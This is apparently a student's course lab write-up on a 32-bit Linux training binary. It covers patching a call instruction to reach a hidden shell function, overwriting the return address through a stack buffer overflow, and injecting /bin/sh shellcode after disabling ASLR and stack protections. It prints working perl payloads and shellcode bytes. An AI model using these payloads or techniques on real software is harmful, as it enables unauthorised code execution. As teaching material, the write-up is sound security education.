20181207朱涛《网络对抗技术》Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1. 实践目标:

• 本次实践的对象是一个名为pwn1的linux可执行文件。

• 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

• 该程序同时包含另一个代码片段,getShell,会返回一个可用Shel;正常情况下这个代码是不会被运行的,我们实践的目标就是想办法运行这个代码片段。

• 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2. 基础知识

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

(2)掌握反汇编与十六进制编程器

· 反汇编指令

objdump -d <文件名>

· 在gdb调试过程中反汇编

disas/disass/disassemble <函数名>

· 进入十六进制编辑模式

%!xxd

· 切换回原模式

%!xxd -r

3. 其他任务

· 能正确修改机器指令改变程序执行流程:详见下方实验解析

· 能正确构造payload进行bof攻击:详见下方实验解析

二、实验操作及具体步骤

通过 sudo hostname <姓名拼音> 命令修改主机名为本人姓名拼音,而后进行后续实验。

(一) 直接修改程序机器指令,改变程序执行流程

1. 下载pwn1文件,并通过 cp pwn1 pwn20181207 命令复制文件。

2. 通过 ./pwn20181207 命令运行文件,查看程序原本功能为简单回显任何用户输入的字符串,截图如下:

 3. 通过 objdump -d pwn20181207 | more 反汇编文件(more为分页指令),其中第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。

 4. 分析上图中的汇编代码,当主函数执行到 call指令时,EIP指令指针永远指向下一条要执行的指令,所以此时,EIP寄存器中存储的地址为0x080484ba;程序按照正常流程执行时,应跳转到foo函数,foo函数的入口地址为0x08048491, 0x08048491 - 0x080484ba = 0xffffd7 ,所以相对偏移量为 d7 ff ff ff (小端模式),call指令的机器指令为 e8 。

 5. 修改机器指令的思路:我们想利用主函数中的call指令,让主函数跳转到getshell函数中。依据上述的分析,我们此处只需要修改偏移量即可,所以本题的问题转化为求偏移地址的值。getshell函数的入口地址为0x0804847d,所以偏移量为: 0x0804847d - 0x080484ba = 0xffffffc3 。由于小端模式,我们要将偏移量修改为 c3 ff ff ff 。

 6. 通过指令 vim pwn20181207 打开pwn20181207文件发现全是乱码,先按下 Esc 将鼠标移至最后一行,并输入 :%!xxd ,将显示模式切换为16进制模式,通过输入 /e8 d7 查找要修改的代码,找到后将其前后的内容和反汇编得到的机器指令进行对比,确认是地方是正确的,按下回车键,通过光标定位到即将修改的指令处,此处修改有两种方法:方法一,直接删除d7,输入c3;方法二,按下字母 r 进行替换字符,截图如下:

  7. 通过 :%!xxd -r 将十六进制模式转换为原格式,并输入 :wq 保存退出。

 8. 反汇编验证,发现偏移地址已经改变,截图如下:

 9. 通过代码 ./pwn20181207 运行验证,修改后的pwn20181207文件可以执行命令行功能,实验成功,截图如下:

 (二)通过构造输入参数,造成BOF攻击,改变程序执行流

    · 当程序调用时,会形成自己的栈帧。但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,超出的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。

    · foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。

 1. 通过 cp pwn1 pwn2 命令复制文件,并通过指令 objdump -d pwn2 | more 反汇编pwn2文件,分析foo函数存在的漏洞,截图如下:

 2. 分析foo函数: sub $0x38,%esp 表明预留存储foo函数本地局部变量的地址空间大小为0x38, lea -0x1c(%ebp),%eax 表明预留的输入缓冲区大小为0x1c(即十进制的28个字节),堆栈结构如下图所示,ebp寄存器的地址空间大小为4个字节,即:当向缓冲区输入超过28个字节的内容就会发生缓冲区溢出,第33、34、35、36字节会覆盖EIP寄存器,使指令跳转到新的覆盖地址。

 3. 使用gdb调试程序,若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错,截图如下:

4. 通过指令 info r  查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,并以小端模式存储:

 5. 构造输入字符串:将第33、34、35、36个字节改为getshell函数入口地址 0x0804847d 的小端模式 7d 84 04 08 ;但由于我们无法通过键盘输入 \x7d\x84\x04\x08 这样的16进制值,所以我们使用输出重定向“ > ”将perl生成的字符串储存到文件input中,完整的命令如下:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

请注意:此处一定要加 \x0a , \x0a 表示回车没有\x0a就相当于输入完字符串没有回车,即未让终端接收这个输入;若执意在此处不加 \x0a ,则在程序运行时需要手工按一下回车键。

 6. 使用16进制查看指令 xxd 查看input文件的内容,确认无误后用 (cat input;cat) | ./pwn2 将input中的字符串作为可执行文件的输入,攻击成功!截图如下:

 请注意,此处双cat命令的作用为:将input文件中的内容显示出来,并将显示出来的内容通过管道符输入给pwn2;同时让程序停在此处,不要退出。

(三)注入shellcode并执行

 1. 准备一段shellcode,shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode;在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。本实验中使用提前生成好的shellcode如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

 2. 进行准备工作,修改配置:

execstack -s pwn1    //设置堆栈可执行(原本默认的堆栈是不可执行的,但由于我们即将向堆栈中注入shellcode,所以需要修改堆栈为可执行的)
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space     //查看当前地址是否已关闭随机化,若值为“2”,则未关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化;如若不关闭,每次堆栈地址均不同
more /proc/sys/kernel/randomize_va_space    //再次查看

 在实际操作中,需要在上述准备操作前安装prelink;“关闭地址随机化”需要启用管理员模式,截图如下:

  3. 构造需要注入的payload,Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode    // RNS方式
nop+shellcode+retaddr    // NSR方式

 因为retaddr在缓冲区的位置是固定的,shellcode要么在前面,要么在后面;当缓冲区较小时,就把shellcode放在后边,当缓冲区较大时,就把shellcode放在前边。

· 请注意Nop空指令的重要性:一为是了填充,二是作为“着陆区/滑行区”,即:我们猜的返回地址只要落在任何一个nop上,由于nop执行空操作,便自然会滑到我们的shellcode区,达到攻击目的,这相当于降低了寻找shellcode入口地址的难度。

 4. 分析foo函数,挖掘shellcode起始地址;对foo函数进行反汇编,结果如下:

 1  Dump of assembler code for function foo:
 2     0x08048491 <+0>: push %ebp
 3     0x08048492 <+1>: mov %esp,%ebp
 4     0x08048494 <+3>: sub $0x38,%esp
 5     0x08048497 <+6>: lea -0x1c(%ebp),%eax
 6     0x0804849a <+9>: mov %eax,(%esp)
 7     0x0804849d <+12>: call 0x8048330 <gets@plt>    
 8     0x080484a2 <+17>: lea -0x1c(%ebp),%eax
 9     0x080484a5 <+20>: mov %eax,(%esp)
10     0x080484a8 <+23>: call 0x8048340 <puts@plt>
11     0x080484ad <+28>: leave
12     0x080484ae <+29>: ret

 · leave指令相当于:(1)mov %ebp,%esp (2) pop %ebp ,第一条指令的含义是将原EBP栈指针寄存器中存储的地址传送至ESP寄存器中,让ESP指针指向系统栈最上方栈帧的栈底;第二条指令的含义是将原来存储main函数栈底的地址(现已经被覆盖)弹出,此时的ESP指针位于EIP寄存器的起始地址处,了解这一点至关重要!对于后面单步调试大有益处,此时应已经明确,若采用NSR模式,则在ESP地址的基础上减32个字节(28个字节为缓冲区预留空间 + 4个字节存储原本main函数的栈底地址)即可来到经过NOP指令填充后的payload区;若为RNS模式,则跳转的目的地址则在ESP地址的基础上加4个字节,指向即为shellcode。

 5. 在本实验中,NSR模式无法获得成功,其中的原因在此处很难做出精准解释,也特别欢迎大家在博客下方留言。

 其实本实验到此处,便可以直接对pwn3进行gdb调试,并对foo函数反汇编,找到返回地址至于shellcode首位。但是理论分析并不一定总是完美的,而且老师的方法中有很多值得我们学习的知识点,下面将直述成功的案例:

(1)打开一个终端,在shellcode指令前填充NOP指令如下,此时第33、34、35、36字节的内容为1234:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

(2)注入 (cat input_shellcode;cat) | ./pwn3 

(3)打开一个终端通过指令 ps -ef | grep pwn3 查看执行文件进程号,发现进程号为2444

(4)在开启的第二个终端里启用gdb调试进程, attach 2444 与进程建立连接。

(5)输入指令 disassemble foo(或 disass foo) 对foo函数进行反汇编。

(6)然后设置断点,来查看注入buf的内存地址,指令为 break *0x080484ae 。

(7)回到开启的第一个终端手动回车一下,然后返回开启的第二个调试的终端,输入指令 c 继续。

(8)接下来输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据,栈顶地址为,通过指令 x/16x 0xffffd10c 以16进制形式查看 0xffffd10c 地址后面16字节的内容,发现\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd10c+4=0xffffd110 。

(9)修改代码为,截图如下,实验成功!

perl -e 'print "A" x 32;print "\x10\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 三、实验感想

本次实验是第一次深入理解缓冲区溢出攻击的原理,同时进一步增强对于堆栈的了解,感觉受益匪浅。但nc的实现具有局限性、NSR构造payload为何不成功,尚不清楚原因,欢迎老师和各位同学批评指教!

posted on 2021-03-18 09:44  Judy_Zhu  阅读(77)  评论(0编辑  收藏  举报